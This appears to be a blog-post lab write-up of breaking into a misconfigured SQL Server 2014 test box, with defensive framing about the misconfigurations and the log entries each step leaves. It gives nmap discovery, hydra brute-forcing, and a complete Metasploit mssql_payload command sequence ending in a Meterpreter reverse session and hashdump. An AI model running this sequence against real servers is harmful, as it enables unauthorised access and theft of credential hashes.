RSS

Hacking SQL 2014 CTP1 on Windows Server 2012 R2

01 Oct

I have some priors on this topic here and here so if this is your first time I highly suggest you check out those and especially my take on ethics here

I wanted to test out the tools to make sure there were not any new gotchas with the latest and greatest versions of MSSQL and Windows Server. At the heart of this hack is brute forcing a SQL Auth account. I didn’t expect Microsoft to come up with any additional ways to prevent a server from being misconfigured and allowing this attack. What I wasn’t so sure about is if Microsoft had come up with a way to A, prevent the payload from executing or B prevent the payload from dumping the password hashes.

Here is our lesson plan for today.
1. find an instance
2. brute force an account
3. deliver a payload
4. use meterpreter to dump the hashes

Hacking_MSSQL

First up is to install SQL Server. We’ll want to install the database engine, which is the service we are going to exploit, and also the management tools to make it super easy to misconfigure. My previous setup used VMWare player for the SQL box which got a little hairy. Turns out VMWare takes a bit to support new Windows operating systems so Hyper-V was a good choice for this test.

install_SQL

Next up to bat is the boneheaded administrator. Scumbag DBA is going to do a few things to this box to make it super easy for us to deploy our hacker tools. Those misconfigurations include:

1. Local windows administrator service account
2. SQL Auth enabled
3. SQL User with an easy password and the sysadmin server role

misconfigs

Now that we’re ready to rock and roll I decided to use VMWare player for Kali Linux as my attacker machine. I was able to identify that Microsoft SQL Server was at the other end of port 1433 with nmap.

nmap_01

This did however trip a very important SQL Log entry. I’m not sure if this is new to SQL 2014 but someone should contact nmap :]

09/28/2013 09:05:18,Logon,Unknown,The login packet used to open the connection is structurally invalid; the connection has been closed. Please contact the vendor of the client library. [CLIENT: 10.10.10.104]
09/28/2013 09:05:18,Logon,Unknown,Error: 17832 Severity: 20 State: 18.

After using the brute force tool “hydra”, we have a identified a valid username and password of tom/tom. This generates some more log entries. No supprises here:

09/28/2013 09:34:10,Logon,Unknown,Login failed for user 'tom'. Reason: Password did not match that for the login provided. [CLIENT: 10.10.10.104]
09/28/2013 09:34:10,Logon,Unknown,Error: 18456 Severity: 14 State: 8.
09/28/2013 09:34:10,Logon,Unknown,Login failed for user 'tom'. Reason: Password did not match that for the login provided. [CLIENT: 10.10.10.104]
09/28/2013 09:34:10,Logon,Unknown,Error: 18456 Severity: 14 State: 8.
09/28/2013 09:34:10,Logon,Unknown,Login failed for user 'tom'. Reason: Password did not match that for the login provided. [CLIENT: 10.10.10.104]
09/28/2013 09:34:10,Logon,Unknown,Error: 18456 Severity: 14 State: 8.

Now that we have a valid username and password we can use the metasploit framework to send our payload and attempt to retrieve the hashes. The commands to complete this are:

msfconsole
use exploit/windows/mssql/mssql_payload
set password tom
set username tom
set rhost 10.10.10.105
set lhost 10.10.10.100
exploit
getuid
ps
migrate 2136
hashdump
sysinfo

successful_hashes

Aaaaaaand we’ve got Build 9200 giving us the goods. Getting the hashes allows for lateral movement. All SQL servers on the same domain could very well be at risk now that one SQL Server has been taken advantage of. The key here is to avoid the misconfigurations on ALL servers.

This malicious activity does generate some more notable log activity. Notice that we never enabled xp_cmdshell, the delivery of the payload did that for us.

09/29/2013 09:27:22,spid55,Unknown,Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
09/29/2013 09:27:22,spid55,Unknown,Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
09/29/2013 09:27:22,spid55,Unknown,SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell' search for 'xp_cmdshell' in SQL Server Books Online.

The goal here is to help everyone be more secure by identifying and testing some basic misconfigurations. We’ve proved that patching alone won’t protect you from all evils.

Advertisements
 
Leave a comment

Posted by on October 1, 2013 in Network Admin, Security, SQL Admin

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: